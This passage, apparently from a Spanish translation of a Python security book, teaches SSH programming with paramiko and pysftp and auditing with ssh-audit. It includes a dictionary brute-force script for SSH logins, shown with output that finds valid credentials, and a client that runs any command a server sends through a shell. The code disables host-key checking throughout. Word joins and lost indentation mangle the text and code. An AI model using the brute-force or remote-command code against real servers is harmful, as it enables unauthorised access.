Certificación ( CA ). Estas claves también pueden
ser...Generado desde la línea de comandos con herramientas
como ssh-keygen. Cuando el cliente SSH se conecta a un
servidor, registra la clave pública del servidor en un archivo
especial, oculto y llamado /.ssh/known_hostsarchivo.
Ejecución de un servidor SSH en Debian Linux
Si tu estasSi ejecuta una distribución basada en Debian
Linux,Puede instalar el opensshpaquete con el siguiente
comando:
$ apt-get install openssh-server
Con los siguientes comandos podemos iniciar y comprobar el
estado del servidor SSH:
$ sudo systemctl start ssh
$ sudo systemctl status ssh
sshd.service - OpenSSH Daemon
Loaded: loaded (/usr/lib/systemd/system/sshd.service;
disabled; vendor preset: disabled)
Active: active (running) since Thu 2023-01-05 23:12:06 CET;
20h ago
Main PID: 65319 (sshd)
Tasks: 1 (limit: 9349)
Memory: 2.0M
CPU: 75ms
CGroup: /system.slice/sshd.service
└─65319 "sshd: /usr/bin/sshd -D [listener] 0 of 10-100
startups"
de gen. 05 23:12:06 linux-hpelitebook8470p systemd[1]:
Started OpenSSH Daemon.
de gen. 05 23:12:06 linux-hpelitebook8470p sshd[65319]:
Server listening on 0.0.0.0 port 22.
de gen. 05 23:12:06 linux-hpelitebook8470p sshd[65319]:
Server listening on :: port 22.
En el anteriorSalida, podemos ver que el servidor SSH tieneSe
ha iniciado en localhost en el puerto 22. Ahora que nuestro
servidor SSH está iniciado, conozcamos el paramikomódulo,
que nos proporcionará los métodos necesarios para crear
clientes SSH fácilmente.
Si utilizamos otras distribuciones de Linux, podemos seguir las
instrucciones que encontramos en el
repositorio: https://github.com/openssh/openssh-portable
.
Si trabajamos con sistemas Windows, podemos utilizar el
siguiente repositorio para descargar e instalar
binarios: https://github.com/PowerShell/Win32-
OpenSSH/releases .
Presentamos el módulo paramiko
paramiko es un móduloEscrito en Python, compatible con los
protocolos SSHV1 y SSHV2, lo que permite crear clientes y
establecer conexiones con servidores SSH. Dado que SSH1 es
inseguro, no se recomienda su uso debido a diversas
vulnerabilidades descubiertas. Actualmente, SSH2 es la versión
recomendada, ya que ofrece compatibilidad con nuevos
algoritmos de cifrado.
Este módulodepende de las
bibliotecas pycryptoy cryptographypara todas las operaciones
de cifrado y permite la creación de túneles cifrados locales,
remotos y dinámicos.
Entre las principales ventajas del paramikomódulo podemos
destacar las siguientes:
Encapsulalas dificultades que supone realizar scripts
automatizados contra servidores SSH de una forma
cómoda y fácil de entender para cualquier desarrollador.
Soporta el protocolo SSH2 a través de los módulos
pycrypto y cryptography, para implementar detalles
relacionados con la criptografía de clave pública y privada.
Permite la autenticación por clave pública, la
autenticación por contraseña y la creación de túneles
SSH.
Nos permite escribir clientes SSH robustos con la misma
funcionalidad que otros clientes SSH como PuTTY o el
cliente OpenSSH.
Admite la transferencia de archivos de forma segura
mediante el protocolo SFTP.
Puede instalarlo paramikodirectamente desde el piprepositorio
de Python con el siguiente comando:
$ pip3 install paramiko
Puede instalarlo en la versión 3.4 o superior de Python, y
existen algunas dependencias que deben instalarse en su
sistema, como los módulos pycryptoy cryptography, según la
versión que vaya a instalar. Estas bibliotecas proporcionan
cifrado de bajo nivel basado en C.Algoritmos para el protocolo
SSH. Los detalles de instalación del cryptographymódulo se
encuentran
en https://cryptography.io/en/latest/installation .
Establecer una conexión SSH con paramiko
PodemosUtilice el paramikomódulo paraCree un cliente SSH y
conéctelo al servidor SSH. Este módulo proporciona
la SSHClient()clase, que representa una interfaz para iniciar
conexiones seguras al servidor. Estas instrucciones crearán una
nueva SSHClientinstancia y se conectarán al servidor SSH
llamando al connect()método usando como argumentos las
credenciales de usuario y contraseña:
>>> import paramiko
>>> ssh_client = paramiko.SSHClient()
>>> ssh_client.connect('host',username='username',
password='password')
De forma predeterminada, la SSHClientinstancia de esta clase
cliente se negará a conectarse a un host que no tenga una
clave guardada en su known_hostsarchivo. Con
esta AutoAddPolicy()clase, puede configurar una política para
aceptar claves de host desconocidas. Para ello, debe ejecutar
el set_missing_host_key_policy()método junto con el siguiente
argumento en el ssh_clientobjeto.
Analizar una instancia de AutoAddPolicy()este método le brinda
una manera de confiar en todas las políticas clave:
>>>
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy
())
Con la instrucción anterior, paramikose agrega
automáticamente la huella digital del servidor remoto al
archivo host del sistema operativo. Ahora, como estamos
realizando una automatización, le informaremos paramikoque
acepte estas claves la primera vez sin interrumpir.la sesión o
incitar laUsuario para ellos. Si necesita restringir la aceptación
de conexiones solo a hosts específicos, puede usar
el load_system_host_keys()método para agregar las claves y
huellas digitales del sistema:
>>> ssh_client.load_system_host_keys()
Puede encontrar el siguiente código en
el paramiko_test.pyarchivo, ubicado en la paramikocarpeta en
el repositorio de GitHub:
import paramiko
import socket
#put data about your ssh server
host = 'localhost'
username = 'username'
password = 'password'
try:
ssh_client = paramiko.SSHClient()
paramiko.common.logging.basicConfig(level=paramiko.com
mon.DEBUG)
#The following lines add the server key automatically to the
know_hosts file
ssh_client.load_system_host_keys()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPoli
cy())
response = ssh_client.connect(host, port = 22, username =
username, password = password)
print('connected with host on port 22',response) transport
= ssh_client.get_transport()
security_options = transport.get_security_options()
print(security_options.kex)
print(security_options.ciphers)
En el script anterior, probamos la conexión con
el localhostservidor definido en la hostvariable. Sin embargo,
esto no es todo.
En el siguiente código, gestionamos paramikoexcepciones
relacionadas con la conexión con el servidor SSH y otras
excepciones relacionadas con conexiones de socket con el
servidor:
except paramiko.BadAuthenticationType as exception:
print("BadAuthenticationException:",exception)
except paramiko.SSHException as sshException:
print("SSHException:",sshException)
except socket.error as socketError:
print("socketError:",socketError)
finally:
print("closing connection")
ssh_client.close()
Si ocurre un error de conexión, se lanzará la excepción
apropiada dependiendo de si laEl host no existe, o elLas
credenciales son incorrectas. En el siguiente resultado,
podemos ver la versión de OpenSSH que usamos para
conectarnos con el servidor SSH e información sobre los
algoritmos de cifrado compatibles con el servidor:
$ python paramiko_test.py
DEBUG:paramiko.transport:starting thread (client mode):
0xb6edfee0
DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-
paramiko_2.8.0
DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-
OpenSSH_9.0
INFO:paramiko.transport:Connected (version 2.0, client
OpenSSH_9.0)
DEBUG:paramiko.transport:kex algos:['sntrup761x25519-
sha512@openssh.com', 'curve25519-sha256', 'curve25519-
sha256@libssh.org', 'ecdh-sha2-nistp256', 'ecdh-sha2-
nistp384', 'ecdh-sha2-nistp521', 'diffie-hellman-group-
exchange-sha256', 'diffie-hellman-group16-sha512', 'diffie-
hellman-group18-sha512', 'diffie-hellman-group14-sha256']
server key:['rsa-sha2-512', 'rsa-sha2-256', 'ecdsa-sha2-
nistp256', 'ssh-ed25519'] client encrypt:['chacha20-
poly1305@openssh.com', 'aes128-ctr', 'aes192-ctr', 'aes256-
ctr', 'aes128-gcm@openssh.com', 'aes256-gcm@openssh.com']
server encrypt:['chacha20-poly1305@openssh.com', 'aes128-
ctr', 'aes192-ctr', 'aes256-ctr', 'aes128-gcm@openssh.com',
'aes256-gcm@openssh.com'] client mac:['umac-64-
etm@openssh.com', 'umac-128-etm@openssh.com', 'hmac-
sha2-256-etm@openssh.com', 'hmac-sha2-512-
etm@openssh.com', 'hmac-sha1-etm@openssh.com', 'umac-
64@openssh.com', 'umac-128@openssh.com', 'hmac-sha2-
256', 'hmac-sha2-512', 'hmac-sha1'] server mac:['umac-64-
etm@openssh.com', 'umac-128-etm@openssh.com', 'hmac-
sha2-256-etm@openssh.com', 'hmac-sha2-512-
etm@openssh.com', 'hmac-sha1-etm@openssh.com', 'umac-
64@openssh.com', 'umac-128@openssh.com', 'hmac-sha2-
256', 'hmac-sha2-512', 'hmac-sha1'] client compress:['none',
'zlib@openssh.com'] server compress:['none',
'zlib@openssh.com'] client lang:[''] server lang:[''] kex follows?
False
DEBUG:paramiko.transport:Kex agreed: curve25519-
sha256@libssh.org
DEBUG:paramiko.transport:HostKey agreed: ssh-ed25519
DEBUG:paramiko.transport:Cipher agreed: aes128-ctr
DEBUG:paramiko.transport:MAC agreed: hmac-sha2-256
DEBUG:paramiko.transport:Compression agreed: none
DEBUG:paramiko.transport:kex engine KexCurve25519
specified hash_algo <built-in function openssl_sha256>
DEBUG:paramiko.transport:Switch to new keys ...
DEBUG:paramiko.transport:Trying SSH agent key
b'f09a3886167c703d05df5bd7ddc17892'
...
Si la conexióntiene éxito, entoncesmuestra información
relacionada con el servidor SSH y los algoritmos de cifrado
compatibles.
Uno de los puntos más importantes a tener en cuenta es
establecer la política predeterminada para localizar la clave del
host en el equipo del cliente. De lo contrario, si no se encuentra
la clave del host (normalmente se encuentra en
el /.ssh/know_hostsarchivo), Python lanzará la siguiente
excepción paramiko: raise SSHException('Unknown server %s'
% hostname) paramiko.SSHException: Unknown server.
paramikoPermite la validación del usuario tanto por contraseña
como por par de claves, lo que lo hace ideal para autenticar
usuarios más allá de las políticas del servidor. Al conectarse a
un servidor SSH por primera vez, si las claves del servidor SSH
no están almacenadas en el lado del cliente, recibirá una
advertencia.mensaje diciendo que elLas claves del servidor no
se almacenan en caché en el sistema y se le preguntará si
desea aceptar esas claves.
Uso de AutoAddPolicy
ParamikorequiereValidar la relación de confianza con la
máquina con la que se establece la conexión SSH. Esta
validación se realiza mediante
el set_missing_host_key_policy()método. Por defecto,
el paramiko.SSHclientobjeto establece la política
en RejectPolicy. Sin embargo, con este método, podríamos
establecerla en TrustAll. Analizar una AutoAddPolicyinstancia
para set_missing_host_key_policy()cambiarla para permitir
cualquier host:
>>> import paramiko
>>> data = dict(hostname=HOST, port=PORT,
username=USER, password=PASSWORD)
>>> ssh_client = paramiko.SSHClient()
>>>
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy
())
>>> ssh_client.connect(**data)
De la misma manera que podemos conectarnos a un servidor
SSH y ejecutar cualquier comando en el servidor si tenemos los
permisos adecuados, también podríamos implementar
funcionalidades como descargar un archivo de forma segura.
En el siguiente ejemplo, la SFTP_Connectionclase contiene
el __init__método que permite inicializar los atributos de
nombre de host o dirección IP, nombre de usuario y contraseña
con valores predeterminados, y el connect()método que
establece la conexión con el servidor. Puedes encontrar el
siguiente código en el SFTP_paramiko.pyarchivo, ubicado en
la paramikocarpeta del repositorio de GitHub:
import paramiko
import getpass
class SFTP_Connection:
def __init__(self):
self.HOST = 'localhost'
self.USERNAME = 'linux'
self.PASSWORD = ''
def connect(self):
try:
self.PASSWORD = getpass.getpass()
except Exception as exception:
print('Exception:',exception)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolic
y())
client.load_system_host_keys()
client.connect(hostname = self.HOST , username =
self.USERNAME , password = self.PASSWORD)
sftp = client.open_sftp()
print(sftp)
dirlist = sftp.listdir('.')
print("Directory list:",dirlist)
sftp.chdir('/etc/')
sftp.get('hosts','my_hosts_file')
sftp.close()
client.close()
if __name__ == '__main__':
ssh = SFTP_Connection()
ssh.connect()
En el código anterior, creamos
un paramiko.SSHClient()controlador para establecer la
conexión, que asignamos a la clientvariable, y posteriormente
asignamos a la sftpvariable un client.open_sftp()controlador
para gestionar la sftpconexión. Con
el listdir()método,Obtenemos una lista de directorios y, con
este chdir()método, cambiamos el directorio del servidor. En
este punto, es importante mencionar que deberá modificar la
configuración de nombre de usuario y
contraseña __init__()según su sistema operativo.
$ python SFTP_paramiko.py
Password:
<paramiko.sftp_client.SFTPClient object at 0x7fb08c4b9be0>
Directory list: ['.cache', '.maltego', '.scala_history', '.gnupg',
'index.html.1', 'wekafiles', '.condarc', '.bashrc', 'Documents',
'.recently-used', '.kivy', '.afirma', 'Escritorio', '.google-cookie',
'.continuum', '.mongorc.js', 'snap', '.dvdcss', '.aura_cache',
'Vídeos', '.bash_history', '.wget-hsts', 'print.pdf', '.conda',
'cache_pretrained', '.mono', '.java', '.dir_colors', '.hplip',
'metasploitable', '.config', 'index.html', '.javacpp', '.ipython',
'anaconda3', 'nltk_data', '.vagrant.d', '.ssr', '.docker',
'PycharmProjects', '.ssh', '.bash_profile', '.zhistory', 'Música',
'.BurpSuite', '.zshrc', '.lesshst', '.gitconfig', '.astropy',
'Documentos', '.bash_logout', 'go', '.zcompdump', 'sshkeys.txt',
'.pdfbox.cache', '.scapy_history', '.zsh', '.Xclients',
'.psql_history', '.anaconda', '.zoom', '.poetry', '.postgresql',
'.pki', '.xinitrc', '.mozilla', '.aws', '.thumbnails', 'Imágenes',
'.mongodb', '.pyenv', '.jupyter', 'keys.txt', '.zenmap', '.var',
'Público', 'cockroach-v21.2.9.linux-amd64', '.ivy2',
'.cockroachsql_history', 'Descargas', 'Plantillas', 'demo',
'.designer', '.local', 'mongodb_data', '.dbshell', 'VirtualBox VMs',
'.m2', '.vaex', '.mysql_history', '.spiderfoot']
Cuandoejecutando el script anterior, listamos los archivos en el
directorio actual, descargamos el archivo hosts ubicado en
la /etc/carpeta y lo guardamos en nuestra computadora
como my_hosts_file.
Ejecutar comandos con paramiko
Ahora estamosconectado al host remotoCon paramiko,
podemos ejecutar comandos en el host remoto usando esta
conexión. Para ejecutar cualquier comando en el host de
destino, necesitamos invocar el exec_command()método
pasando el comando como argumento:
>>> ssh_client.connect(hostname, port, username, password)
>>> stdin, stdout, stderr = ssh_client.exec_command(cmd)
>>> for line in stdout.readlines():
>>> print(line.strip())
>>> ssh_client.close()
El siguiente ejemplo muestra cómo establecer una conexión
SSH con un host de destino y luego ejecutar un comando
introducido por el usuario. Para ejecutar el comando, utilizamos
el exec_command()método del ssh_sessionobjeto obtenido de
la sesión abierta al iniciar sesión en el servidor. Puede
encontrar el siguiente código en
el ssh_execute_command.pyarchivo, ubicado en
la paramikocarpeta del repositorio de GitHub:
import getpass
import paramiko
HOSTNAME = 'localhost'
PORT = 22
def run_ssh_cmd(username, password, command,
hostname=HOSTNAME,port=PORT):
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPoli
cy())
ssh_client.load_system_host_keys()
ssh_client.connect(hostname, port, username, password)
stdin, stdout, stderr = ssh_client.exec_command(command)
#print(stdout.read())
stdin.close()
for line in stdout.read().splitlines():
print(line.decode())
if __name__ == '__main__':
hostname = input("Enter the target hostname: ")
port = input("Enter the target port: ")
username = input("Enter username: ")
password = getpass.getpass(prompt="Enter password: ")
command = input("Enter command: ")
run_ssh_cmd(username, password, command)
En el script anterior, estamos creando una función
llamada run_ssh_cmd(), que realiza una conexión a un servidor
SSH y ejecuta un comando ingresado por el usuario.
Otra forma de conectarse a un servidor SSH es a través
del Transport()método , que acepta comoparametrizar la
dirección IP aSe conecta y proporciona otro tipo de objeto para
autenticarse en el servidor. En el siguiente ejemplo, realizamos
la misma función que en el script anterior, pero en este caso,
usamos la Transportclase para establecer una conexión con el
servidor SSH. Puedes encontrar el siguiente código en
el SSH_command_transport.pyarchivo, ubicado en
la paramikocarpeta del repositorio de GitHub:
import paramiko
import getpass
def run_ssh_command(hostname, user, passwd, command):
transport = paramiko.Transport(hostname)
try:
transport.start_client()
except Exception as exception:
print(exception)
try:
transport.auth_password(username=user,password=pass
wd)
except Exception as exception:
print(exception)
if transport.is_authenticated():
print(transport.getpeername())
channel = transport.open_session()
channel.exec_command(command)
response = channel.recv(1024)
print('Command %r(%r)-->%s' %
(command,user,response))
if __name__ == '__main__':
hostname = input("Enter the target hostname: ")
port = input("Enter the target port: ")
username = input("Enter username: ")
password = getpass.getpass(prompt="Enter password: ")
command = input("Enter command: ")
run_ssh_command(hostname,username, password,
command)
En el código anterior, el start_client()método nos permite abrir
una nueva sesión para la ejecución de comandos y
el auth_password()método se utiliza para autenticar el nombre
de usuario y la contraseña.
Cuandoejecutando el script anterior, podemos verinformación
para la autenticación en el servidor y el resultado de ejecutar
el whoamicomando, que devuelve el usuario autenticado:
$ python SSH_command_transport.py
Enter the target hostname: localhost
Enter the target port: 22
Enter username: linux
Enter password:
Enter command: whoami
('::1', 22, 0, 0)
Command 'whoami'('linux')-->b'linux\n'
Uso de paramiko para forzar las credenciales de usuario
de SSH
En el mismoforma en que lo implementamosun script para
comprobar credenciales con servidores FTP, podríamos
implementar otro para comprobar si un servidor SSH es
vulnerable a un ataque de fuerza bruta utilizando un
diccionario.
Podríamos implementar un método que tome dos archivos
como entrada ( users.txty passwords.txt) y, mediante un
proceso de fuerza bruta, intente probar todas las
combinaciones posibles de usuarios y contraseñas. Al probar
una combinación de nombres de usuario y contraseñas, si se
logra establecer una conexión, también se podría ejecutar un
comando en el servidor SSH.
Tenga en cuenta que si obtenemos un error de conexión,
tenemos un bloque de excepciones donde podemos realizar
diferentes tareas de gestión de errores, dependiendo de si la
conexión falló debido a un error de autenticación
( paramiko.AuthenticationException) o un error de conexión con
el servidor ( socket.error).
Los archivos relacionados con nombres de usuario y
contraseñas son archivos simples en texto plano que contienen
nombres de usuario y contraseñas predeterminados comunes
para bases de datos y sistemas operativos. Se pueden
encontrar ejemplos de estos archivos en
el fuzzdbproyecto: https://github.com/fuzzdb-project/fuzzd
b/tree/master/wordlists-user-passwd . Conel siguiente
guión, nosotrosPuede ejecutar un ataque usando un diccionario
de usuarios y contraseñas contra un servidor SSH. Puede
encontrar el siguiente código en el ssh_brute_force.pyarchivo:
import paramiko
import socket
import time
def brute_force_ssh(hostname,port,user,password):
log = paramiko.util.log_to_file('log.log')
ssh_client = paramiko.SSHClient()
ssh_client.load_system_host_keys()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPoli
cy())
try:
print('Testing credentials {}:{}'.format(user,password))
ssh_client.connect(hostname,port=port,username=user,p
assword=password, timeout=5)
print('credentials ok {}:{}'.format(user,password))
except paramiko.AuthenticationException as exception:
print('AuthenticationException:',exception)
except socket.error as error:
print('SocketError:',error)
En el código anterior, implementamos un método
llamado brute_force_ssh()que intenta establecer una conexión
con el servidor SSH para cada combinación de usuario y
contraseña. Además, en este método, usamos
la paramiko.util.log_to_file('paramiko.log')instrucción para
guardar toda la actividad paramikoregistrada al ejecutar el
script:
def main():
hostname = input("Enter the target hostname: ")
port = input("Enter the target port: ")
users = open('users.txt','r').readlines()
passwords = open('passwords.txt','r').readlines()
for user in users:
for password in passwords:
time.sleep(3)
brute_force_ssh(hostname,port,user.rstrip(),password.rs
trip())
if __name__ == '__main__':
main()
En el código anterior, implementamos un proceso de fuerza
bruta donde llamamos al brute_force_ssh()método e iteramos
sobre la combinación de usuarios y contraseñas. Al ejecutar el
script anterior, podemos ver cómo prueba diferentes
combinaciones.de nombre de usuario ycontraseña hasta que
haya probado todas las combinaciones que tenemos en los
archivos o encuentre las credenciales correctas:
$ python ssh_brute_force.py
Enter the target hostname: localhost
Enter the target port: 22
Testing credentials user1:password1
AuthenticationException: Authentication failed.
Testing credentials user1:LINUX
AuthenticationException: Authentication failed.
Testing credentials linux:password1
AuthenticationException: Authentication failed.
Testing credentials linux:LINUX
credentials ok linux:LINUX
A continuación, vamos a utilizar el pysftpmódulo, que se basa
en paramiko, para conectarnos a un servidor SSH.
Establecer una conexión SSH con pysftp
pysftpes unenvoltura alrededor de paramikoesoAdmite
interacciones SSH remotas y transferencias de archivos. Puede
encontrar más detalles sobre este paquete en el repositorio de
PyPI: https://pypi.org/project/pysftp . Para
instalarlo pysftpen su entorno.con pip, ejecute el siguiente
comando:
$ python3 -m pip install pysftp
En el siguiente ejemplo, listamos archivos de un directorio
específico. Puede encontrar el siguiente código en
el testing_pysftp.pyarchivo dentro de la pysftpcarpeta:
import pysftp
import getpass
HOSTNAME = 'localhost'
PORT = 22
def sftp_getfiles(username, password,
hostname=HOSTNAME,port=PORT):
cnopts = pysftp.CnOpts(knownhosts='known_hosts')
# Load the public SSH key into the known hosts file
cnopts.hostkeys.load('/home/linux/.ssh/known_hosts')
with pysftp.Connection(host=hostname,
username=username, password=password, cnopts=cnopts) as
sftp:
print("Connection successfully established with server... ")
sftp.cwd('/')
list_directory = sftp.listdir_attr()
for directory in list_directory:
print(directory.filename, directory)
if __name__ == '__main__':
hostname = input("Enter the target hostname: ")
port = input("Enter the target port: ")
username = input("Enter your username: ")
password = getpass.getpass(prompt="Enter your password:
")
sftp_getfiles(username, password, hostname, port)
En el script anterior, estamos listando el contenido de un
directorio usando el listdir_attr()método. DespuésAl establecer
una conexión con el servidor,Se utiliza el cwd()método para
cambiar al directorio raíz, proporcionando la ruta del directorio
como primer argumento. Con esta withinstrucción, la conexión
se cierra automáticamente al final del bloque y no es necesario
cerrar la conexión con el servidor manualmente. Este podría
ser el resultado del script anterior:
$ python testing_pysftp.py
Enter the target hostname: localhost
Enter the target port: 22
Enter your username: linux
Enter your password:
Connection successfully established with server...
bin drwxr-xr-x 1 0 0 12288 27 Mar 00:16 bin
boot drwxr-xr-x 1 0 0 4096 27 Mar 00:17 boot
cdrom drwxrwxr-x 1 0 0 4096 26 Mar 22:58 cdrom
dev drwxr-xr-x 1 0 0 4500 10 Jul 18:09 dev
etc drwxr-xr-x 1 0 0 12288 09 Jul 19:57 etc
home drwxr-xr-x 1 0 0 4096 27 Mar 00:17 home
Aquí podemosMira cómo devuelve todos los archivos en el
control remotodirectorio después de solicitar una conexión de
datos al servidor en localhost.
Ahora que conoce los conceptos básicos sobre cómo conectar y
transferir archivos desde un servidor SSH con los
módulos paramikoy pysftp, pasemos a aprender cómo
implementar un servidor SSH con paramiko.
Implementando un servidor SSH con paramiko
A continuaciónPor ejemplo, vamos a
utilizarLa paramikobiblioteca para implementar nuestro propio
servidor SSH cifrando el tráfico con el protocolo SSH. Puedes
encontrar el siguiente código en el SSH_Server.pyarchivo
dentro de la paramikocarpeta.
Primero, revisamos el código del servidor SSH:
import socket, paramiko, threading, sys
import getpass
if len(sys.argv) != 3:
print("usage SSH_Server.py <interface> <port>")
exit()
class SSH_Server (paramiko.ServerInterface):
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return
paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'linux') and (password == 'linux'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
El paramikopaquete proporciona una clase
llamada ServerInterface, que permite implementar un servidor
SSH básico. En el código anterior, implementamos un
mecanismo de autenticación basado en un nombre de usuario
y una contraseña integrados en el código
del check_auth_password()método.
A continuación, el objetivo es crear un servidor TCP utilizando
el socketmódulo disponible en Python para aceptar conexiones
de clientes y, posteriormente, crear un Transportobjeto
Paramiko para administrar y cifrar dicha conexión TCP. El
código sería el siguiente:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET,
socket.SO_REUSEADDR, 1)
sock.bind((sys.argv[1], int(sys.argv[2])))
sock.listen(100)
print('[+] Listening on port ',str(sys.argv[2]))
client, addr = sock.accept()
print("Input connection")
transport = paramiko.Transport(client)
transport.load_server_moduli()
server_key =
paramiko.RSAKey(filename='/home/linux/.ssh/id_rsa')
key_password = getpass.getpass(prompt='Enter password
for RSA key file: ')
server_key.from_private_key_file('/home/linux/.ssh/id_rsa',
password=key_password)
transport.add_server_key(server_key)
server = SSH_Server()
transport.start_server(server=server)
channel = transport.accept(20)
print((channel.recv(1024).decode()))
channel.send('SSH Connection Established!')
while True:
command= input(">: ").strip('n')
if command.lower() == 'exit':
print("Closing connection...")
channel.send('exit')
break
channel.send(command)
print((channel.recv(1024).decode()))
except Exception as exception:
print(('[-] Excepción: ' + str(exception)))
En el script anterior, la clave de cifrado RSA se encuentra en
el /home/linux/.ssh/id_rsadirectorio. Por otro lado, se puede ver
que la Transportclase es la únicaque realmente se encarga de
empezarEl servidor SSH utiliza el start_server()método y luego
establece conexiones SSH con el cliente. Este servidor solo
acepta una conexión entrante para simplificar, pero si es
necesario, se puede crear un hilo para cada cliente que intente
conectarse mediante el módulo de subprocesos.
Para crear un cliente SSH, podemos crear una instancia de
la SSHClientclase y luego establecer la conexión con
el connect()método. Finalmente, channelse abre un archivo
para poder enviar y recibir paquetes usando la conexión SSH
indefinidamente o hasta que finalice el comando del servidor.
Puede encontrar el siguiente código en el SSH_client.pyarchivo
dentro de la paramikocarpeta:
import paramiko, threading, subprocess, getpass
host = input("Host: ")
port = input("Port: ")
user = input("User: ")
passwd = getpass.getpass("Password: ")
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(host, username=user, password=passwd,
port=int(port))
channel = client.get_transport().open_session()
channel.send('Client: '+subprocess.check_output('hostname',
shell=True).decode())
print(channel.recv(1024).decode())
while True:
command = channel.recv(1024)
if command.lower() == 'exit':
print("Server exiting....")
break
try:
result = subprocess.check_output(command, shell=True)
channel.send(result)
except Exception as exception:
channel.send(str(exception))
client.close()
Al ejecutar el servidor SSH, indicamos la interfaz y el puerto
donde el servidor escuchará. Una vez que...La conexión la
establece el cliente, nosotrosPodrá ejecutar comandos en este
servidor, por ejemplo, para ver el usuario que ha sido
autenticado o para obtener una lista de archivos que el
servidor está exponiendo:
$ sudo python SSH_Server.py localhost 22
[+] Listening on port 22
Input connection
Enter password for RSA key file:
Client: linux-hpelitebook8470p
>: whoami
linux
>: pwd
/home/linux/Downloads/Python-for-Security-and-Networking/
chapter7/code/paramiko
>: ls
paramiko_test.py
SFTP_paramiko.py
ssh brute force
SSH_client.py
SSH_command_transport.py
ssh_execute_command.py
SSH_Server.py
Al ejecutar el cliente SSH, indicamos la interfaz, el puerto, el
nombre de usuario y la contraseña que nos permiten
autenticarnos con el servidor y establecer la conexión. Con la
configuración anterior, podríamos usar credenciales de Linux
para el nombre de usuario y la contraseña:
$ python SSH_client.py
Host: localhost
Port: 22
User: linux
Password:
SSH Connection Established!
Ahora que tuConozca los conceptos básicos sobre la
implementaciónun servidor SSH y un cliente SSH con
el paramikomódulo, pasemos a aprender cómo comprobar la
seguridad del servidor SSH con las ssh-auditherramientas de
comprobación SSH de Rebex.
Comprobación de la seguridad de los servidores SSH
Si necesitamosPara verificar la configuración de nuestro
servidor SSH, tenemos dos opciones:
Revisando el archivo de configuraciones de SSH y
comparando los archivos con un punto de referencia como
el CIS
Mediante el uso de ssh-audit, que es un script
desarrollado en Python que nos permitirá extraer una gran
cantidad de información sobre la configuración de nuestro
protocolo.
En esta sección, analizaremos ssh-
audit , https://pypi.org/project/ssh-audit , una herramienta
abiertaHerramienta de código fuente escrita en Python que
analiza las configuraciones del servidor SSH e indica si las
diferentes configuraciones aplicadas son seguras. Su principal
característica es que puede auditar cada componente del
servidor SSH. Por ejemplo, puede detectar el banner de inicio
de sesión y si se utiliza un protocolo inseguro como SSH1.
A nivel de cifrado de las comunicaciones, tiene la capacidad de
verificar los algoritmos de intercambio de claves, la clave
pública del host, el cifrado simétrico cuando la comunicaciónYa
se ha establecido y se han enviado mensajes de autenticación.
Una vez analizados estos parámetros, obtendrá un informe
completo que indica desde cuándo está disponible esta opción,
si se ha eliminado o deshabilitado y si es segura.
Instalación y ejecución de ssh-audit
El más simpleY la forma más directa de instalar esta
herramienta es medianteutilizando el repositorio PyPI usando el
siguiente comando:
$ pip install ssh-audit
Si está utilizando una distribución de Linux basada en Debian,
puede instalarla ssh-auditcon el siguiente comando:
$ apt-get install ssh-audit
Otra forma de instalar esta herramienta es a través del código
fuente disponible en el repositorio de
GitHub: https://github.com/jtesta/ssh-audit . La forma más
rápida de ejecutar el script y probar el servidor es ejecutarlo
directamente con Python y proporcionar como argumento
posicional el dominio o la dirección IP del servidor que se va a
analizar:
$ python ssh-audit.py <domain>
Para utilizar esta herramienta desde la línea de comandos,
podemos especificar algunos argumentos, entre los que
podemos destacar:
-1, --ssh1: forzar la versión 1 de ssh
-2, --ssh2: forzar la versión 2 de ssh
-4, --ipv4: habilita IPv4
-6, --ipv6: habilitar IPv6
-p, --port=<port>: puerto al que conectarse
-b, --batch: salida por lotes
-v, --verbose: salida detallada
-l, --level=<level>: nivel mínimo de producción
( info| warn| fail)
Podríamos analizar nuestro servidor SSH localhost con el
siguiente comando:
$ ssh-audit.py -v localhost
También podríamos auditar un servidor de dominio externo
como scanme.namp.orgel siguiente:
$ ssh-audit.py scanme.nmap.org
En las siguientes capturas de pantalla, podemos ver cómo la
herramienta marcará la salida en diferentes colores cuando un
determinado algoritmo sea inseguro, débil o seguro:
Figura 7.1: Ejecución de ssh-audit
De esta manera, nosotrosPodemos identificar rápidamente
dónde debemos detenernos.Soluciona un problema de
seguridad del servidor. Otra característica es que permite
mostrar la versión de SSH utilizada según la información de los
algoritmos:
Figura 7.2: Ejecución de ssh-audit
Este script muestra la siguiente información en la salida:
La versión del protocolo y del software que estamos
utilizando
Los algoritmos de intercambio de claves
Los algoritmos del host
Los algoritmos de cifrado
Los algoritmos de autenticación de mensajes (hash)
Recomendaciones sobre cómo proceder con algoritmos
específicos
La herramientaMarcar en diferentes colores cuando se ejecuta
un determinado algoritmo.es inseguro, débil o seguro, para que
podamos identificar rápidamente dónde debemos intervenir y
solucionarlo lo antes posible. En los resultados de la
herramienta de informes, vemos cómo muestra los algoritmos
que utiliza junto con los recomendados:
# algorithm recommendations (for OpenSSH 7.2)
(rec) -ecdh-sha2-nistp521 -- kex algorithm to
remove
(rec) -ecdh-sha2-nistp384 -- kex algorithm to
remove
(rec) -ecdh-sha2-nistp256 -- kex algorithm to
remove
(rec) -diffie-hellman-group14-sha1 -- kex algorithm to
remove
(rec) -ecdsa-sha2-nistp256 -- key algorithm to
remove
(rec) -hmac-sha2-512 -- mac algorithm to
remove
(rec) -umac-128@openssh.com -- mac algorithm to
remove
(rec) -hmac-sha2-256 -- mac algorithm to
remove
(rec) -umac-64@openssh.com -- mac algorithm to
remove
(rec) -hmac-sha1 -- mac algorithm to remove
(rec) -hmac-sha1-etm@openssh.com -- mac algorithm to
remove
